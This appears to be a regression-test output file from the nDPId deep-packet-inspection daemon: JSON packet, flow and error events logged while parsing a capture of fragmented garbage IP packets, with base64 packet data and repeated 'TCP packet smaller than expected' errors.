-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997703} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997728} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997766} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997780} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997793} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997805} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997818} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997830} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997855} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997867} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997880} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997892} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997905} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997933} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":7811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997945} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997958} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997970} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997982} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997998} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998008} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998022} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998036} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998048} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998061} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998073} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998085} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031998098} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244031998110} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":7825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAl4mKigqJl4l"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244032298278,"flow_src_last_pkt_time":1534244032298278,"flow_dst_last_pkt_time":1534244032298278,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244032298278,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9251,"dst_port":9770,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_src_last_pkt_time":1534244032298278,"flow_dst_last_pkt_time":1534244032298278,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkRIiQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298326} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298348} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298358} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298369} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298419} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032298431} 